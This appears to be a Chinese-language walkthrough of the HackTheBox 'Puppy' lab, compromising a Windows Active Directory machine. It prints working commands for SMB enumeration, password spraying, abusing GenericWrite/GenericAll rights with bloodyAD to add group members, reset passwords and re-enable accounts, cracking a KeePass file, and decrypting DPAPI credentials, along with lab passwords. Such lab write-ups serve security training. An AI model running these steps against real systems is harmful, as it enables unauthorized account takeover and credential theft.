HackTheBox-Puppy
信息搜集
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
遇事不决 nmap 开扫
1 | sudo nmap -sS 10.10.11.70 -p- -sV -T4 --min-rate 1000 -vv |
很明显是个 windows 机器,尝试 winrm 无法登陆
通过给的凭证枚举一下 SMB 的权限信息,发现一个 DEV 共享目录,但是没权限
1 | nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares |
枚举一波用户
1 | nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users |
进行一波密码喷洒,但并没有什么作用
1 | nxc smb 10.10.11.70 -u ./user.txt -p 'KingofAkron2025!' --continue-on-success |
使用 bloodhound-py 收集一波信息先
1 | bloodhound-ce-python -u levi.james -p KingofAkron2025! -d puppy.htb -c all -ns 10.10.11.70 --zip |
丢进 bloodhound 进行分析,发现攻击路径
GenericWrite
利用 GenericWrite on Group,将 levi.james 添加进 DEVELOPERS 组里面
1 | bloodyAD --host 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james' |
然后就可以查看 smb 中 DEV 文件夹的内容了
1 | smbclient //10.10.11.70/DEV -U PUPPY.HTB/levi.james |
发现这个文件是加密的
KeePass 爆破
使用 john the ripper 进行爆破(需要编译安装)
爆破出来得到密码为 liverpool,用 KeePassXC 打开
可以得到一堆密码
1 | title : password |
但是用户名字段是空白的,于是可以借助之前枚举的用户名进行联想得到,然后挨着爆破一波
1 | nxc smb 10.10.11.70 -u ./user.txt -p ./pass.txt --no-bruteforce --continue-on-success |
GenericAll
得到新的用户名和密码后,使用 bloodhound-py 收集一波内网信息
1 | bloodhound-ce-python -u ant.edwards -p Antman2025! -d puppy.htb -c all -ns 10.10.11.70 --zip |
发现攻击路径,ant.edwards 属于 SENIOR DEVS 组,而该组对ADAM.SILVER 具有 GenericAll 权限
于是可以强制修改密码
1 | bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc 10.10.11.70 set password "adam.silver" 'Passw@rd' |
尝试登陆发现账户被禁用的状态
移除adam用户的ACCOUNTDISABLE属性
1 | bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc 10.10.11.70 remove uac 'ADAM.SILVER' -f ACCOUNTDISABLE |
然后使用 evil-winrm 登陆即可,桌面有 user flag
1 | evil-winrm -i 10.10.11.70 -u adam.silver -p Passw@rd |
信息搜集
C 盘下存在一个 Backups 目录,里面有个 zip 下下来看看
解压发现一组备份的登陆凭证,直接一手登陆
1 | nxc winrm 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!' |
还是用 evil-winrm 上去看看
1 | evil-winrm -i 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!' |
使用 winpeas 进行一手可疑提权路径的搜集,可以发现有 DPAPI 的 masterkeys 和加密的凭证文件
DPAPI 凭证解密
解密一手 master key
需要
- 用户密码
- 用户 SID 值
- 主密钥文件
- 需要被解密的凭证文件
1 | dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107 |
然后使用解密得到的 master key 解密凭证,得到一对凭证 steph.cooper_adm/FivethChipOnItsWay2025!
1 | dpapi.py credential -f C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84 |
而这个用户属于 Administer 组
直接通过 winrm 登陆上去